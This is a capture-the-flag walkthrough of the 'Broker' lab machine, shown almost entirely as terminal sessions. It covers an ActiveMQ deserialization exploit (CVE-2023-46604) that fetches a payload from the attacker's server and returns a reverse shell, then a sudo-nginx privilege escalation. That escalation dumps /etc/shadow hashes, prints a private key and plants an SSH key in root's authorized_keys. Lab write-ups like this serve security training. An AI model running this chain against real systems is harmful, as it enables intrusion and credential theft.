Broker

Information Gathering

Ports and Services

┌──(kali㉿kali)-[~/ctf/broker]
└─$ nmap -p- -sV 10.10.11.243 --min-rate 1000
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-14 13:19 WIB
Nmap scan report for 10.10.11.243
Host is up (0.082s latency).
Not shown: 65526 closed tcp ports (reset)
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http       nginx 1.18.0 (Ubuntu)
1883/tcp  open  mqtt
5672/tcp  open  amqp?
8161/tcp  open  http       Jetty 9.4.39.v20210325
34501/tcp open  tcpwrapped
61613/tcp open  stomp      Apache ActiveMQ
61614/tcp open  http       Jetty 9.4.39.v20210325
61616/tcp open  apachemq   ActiveMQ OpenWire transport 5.15.15

• https://github.com/evkl1d/CVE-2023-46604

┌──(kali㉿kali)-[~/ctf/broker/CVE-2023-46604]
└─$ python3 exploit.py -i 10.10.11.243 -p 61616 -u http://10.10.16.20:8080/poc.xml 
     _        _   _           __  __  ___        ____   ____ _____ 
    / \   ___| |_(_)_   _____|  \/  |/ _ \      |  _ \ / ___| ____|
   / _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | |   |  _|  
  / ___ \ (__| |_| |\ V /  __/ |  | | |_| |_____|  _ <| |___| |___ 
 /_/   \_\___|\__|_| \_/ \___|_|  |_|\__\_\     |_| \_\\____|_____|

[*] Target: 10.10.11.243:61616
[*] XML URL: http://10.10.16.20:8080/poc.xml

[*] Sending packet: 000000721f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001f687474703a2f2f31302e31302e31362e32303a383038302f706f632e786d6c
                                                    

┌──(kali㉿kali)-[~/ctf/broker/CVE-2023-46604]
└─$ python3 -m http.server -b 10.10.16.20 8080
Serving HTTP on 10.10.16.20 port 8080 (http://10.10.16.20:8080/) ...
10.10.11.243 - - [14/May/2025 13:25:25] "GET / HTTP/1.1" 200 -
10.10.11.243 - - [14/May/2025 13:25:25] "GET / HTTP/1.1" 200 -
10.10.11.243 - - [14/May/2025 13:25:37] "GET / HTTP/1.1" 200 -
10.10.11.243 - - [14/May/2025 13:25:37] "GET / HTTP/1.1" 200 -
10.10.11.243 - - [14/May/2025 13:25:50] "GET /poc.xml HTTP/1.1" 200 -
10.10.11.243 - - [14/May/2025 13:25:50] "GET /poc.xml HTTP/1.1" 200 -

┌──(kali㉿kali)-[~/ctf/broker/CVE-2023-46604]
└─$ nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.16.20] from (UNKNOWN) [10.10.11.243] 53202
bash: cannot set terminal process group (881): Inappropriate ioctl for device
bash: no job control in this shell
activemq@broker:/opt/apache-activemq-5.15.15/bin$ 

Priv Esc

activemq@broker:/opt/apache-activemq-5.15.15/bin$ sudo -l
sudo -l
Matching Defaults entries for activemq on broker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx
activemq@broker:/opt/apache-activemq-5.15.15/bin$ 

└─$ cat exploit_nginx.conf 
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
        worker_connections 768;
}
http {
        server {
                listen 1339;
                root /;
                autoindex on;
                dav_methods PUT;
        }
}

activemq@broker:/tmp$ wget http://10.10.16.20:8080/exploit_nginx.conf
wget http://10.10.16.20:8080/exploit_nginx.conf
--2025-05-14 06:23:52--  http://10.10.16.20:8080/exploit_nginx.conf
Connecting to 10.10.16.20:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 204 [application/octet-stream]
Saving to: ‘exploit_nginx.conf’

     0K                                                       100% 29.2M=0s

2025-05-14 06:23:52 (29.2 MB/s) - ‘exploit_nginx.conf’ saved [204/204]

activemq@broker:/tmp$ 

┌──(kali㉿kali)-[~/ctf/broker]
└─$ curl http://10.10.11.243:1339//etc/shadow
root:$y$j9T$S6NkiGlTDU3IUcdBZEjJe0$sSHRUiGL/v4FZkWjU.HZ6cX2vsMY/rdFBTt25LbGxf1:19666:0:99999:7:::
daemon:*:19405:0:99999:7:::
bin:*:19405:0:99999:7:::
sys:*:19405:0:99999:7:::
sync:*:19405:0:99999:7:::
games:*:19405:0:99999:7:::
man:*:19405:0:99999:7:::
lp:*:19405:0:99999:7:::
mail:*:19405:0:99999:7:::
news:*:19405:0:99999:7:::
uucp:*:19405:0:99999:7:::
proxy:*:19405:0:99999:7:::
www-data:*:19405:0:99999:7:::
backup:*:19405:0:99999:7:::
list:*:19405:0:99999:7:::
irc:*:19405:0:99999:7:::
gnats:*:19405:0:99999:7:::
nobody:*:19405:0:99999:7:::
_apt:*:19405:0:99999:7:::
systemd-network:*:19405:0:99999:7:::
systemd-resolve:*:19405:0:99999:7:::
messagebus:*:19405:0:99999:7:::
systemd-timesync:*:19405:0:99999:7:::
pollinate:*:19405:0:99999:7:::
sshd:*:19405:0:99999:7:::
syslog:*:19405:0:99999:7:::
uuidd:*:19405:0:99999:7:::
tcpdump:*:19405:0:99999:7:::
tss:*:19405:0:99999:7:::
landscape:*:19405:0:99999:7:::
fwupd-refresh:*:19405:0:99999:7:::
usbmux:*:19474:0:99999:7:::
lxd:!:19474::::::
activemq:$y$j9T$5eMce1NhiF0t9/ZVwn39P1$pCfvgXtARGXPYDdn2AVdkCnXDf7YO7He/x666g6qLM5:19666:0:99999:7:::

activemq@broker:/tmp$ ssh-keygen -t rsa
ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/activemq/.ssh/id_rsa): 

Created directory '/home/activemq/.ssh'.
Enter passphrase (empty for no passphrase): 

Enter same passphrase again: 

Your identification has been saved in /home/activemq/.ssh/id_rsa
Your public key has been saved in /home/activemq/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:Qn8Wo2yOU6KErE4A7htOUGxfQFS6YUOAv9Znw7DArDk activemq@broker
The key's randomart image is:
+---[RSA 3072]----+
| ..+=..          |
|.. . o           |
|.++ = o   o      |
|o+=+.* o . o     |
|o+o+++o S o      |
|E.o.o.=B o       |
|.B  .oo..        |
|= o    .         |
| +               |
+----[SHA256]-----+
activemq@broker:/tmp$ 

activemq@broker:/tmp$ cat /home/activemq/.ssh/id_rsa
cat /home/activemq/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
activemq@broker:/tmp$

activemq@broker:/tmp$ cat /home/activemq/.ssh/id_rsa.pub
cat /home/activemq/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfjVyQH9UbaXtfgFG57vabddx6FG2hl1Roa4NwXvD0tHcs19fvLXP+J+p/Q6lRLDunix9RG5PDYvPs10ys40/9D0NoJBxC/9g2TRdHuLFBSkOOmwLhqDz/PMne3wQCDLkQ6G2T1j/m1ocnGgQ1tlQ/uMEw5C27ADE7v1Hk8ZAMO89DqwFveoOdJQuMfxu0YHIUSJ8n+LQcf1sI76AThExyyml/TR4a+0Y1szTwi8f2zokEzSaVXY4ydWp7mlliFx/K+m8GgKtKwa4nyj2Y9bs+lhkreBiv9xrVveUBIPoXZZoBFfO8RmZ8Z/GtxZhvlkUsHZCQcM2p5WYL4rhYgQYY4qD+oaAHPLeyQOtEupCtTTleDxYvCtQwEZgZ/w/WFhBiOADHSgObZYIl/iapskU07AkA0x9GxHe6ShL+QFiRS2t+jlWrttBtQUsLU7/mluHoGurfPmyPgFYRc/w+9pOay9OkgeRmui5tRBoNAvJFk4Au/iwyUNLSFDAT1ODxJOM= activemq@broker

curl http://10.10.11.243:1339//root/.ssh/authorized_keys -d "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfjVyQH9UbaXtfgFG57vabddx6FG2hl1Roa4NwXvD0tHcs19fvLXP+J+p/Q6lRLDunix9RG5PDYvPs10ys40/9D0NoJBxC/9g2TRdHuLFBSkOOmwLhqDz/PMne3wQCDLkQ6G2T1j/m1ocnGgQ1tlQ/uMEw5C27ADE7v1Hk8ZAMO89DqwFveoOdJQuMfxu0YHIUSJ8n+LQcf1sI76AThExyyml/TR4a+0Y1szTwi8f2zokEzSaVXY4ydWp7mlliFx/K+m8GgKtKwa4nyj2Y9bs+lhkreBiv9xrVveUBIPoXZZoBFfO8RmZ8Z/GtxZhvlkUsHZCQcM2p5WYL4rhYgQYY4qD+oaAHPLeyQOtEupCtTTleDxYvCtQwEZgZ/w/WFhBiOADHSgObZYIl/iapskU07AkA0x9GxHe6ShL+QFiRS2t+jlWrttBtQUsLU7/mluHoGurfPmyPgFYRc/w+9pOay9OkgeRmui5tRBoNAvJFk4Au/iwyUNLSFDAT1ODxJOM= activemq@broker" -X PUT

┌──(kali㉿kali)-[~/ctf/broker]
└─$ chmod 600 id_rsa
                                                                                                                                                                                                                   
┌──(kali㉿kali)-[~/ctf/broker]
└─$ ssh [email protected] -i id_rsa
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed May 14 07:53:20 AM UTC 2025

  System load:           0.08642578125
  Usage of /:            76.2% of 4.63GB
  Memory usage:          13%
  Swap usage:            0%
  Processes:             161
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.243
  IPv6 address for eth0: dead:beef::250:56ff:feb9:f320


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

root@broker:~# id
uid=0(root) gid=0(root) groups=0(root)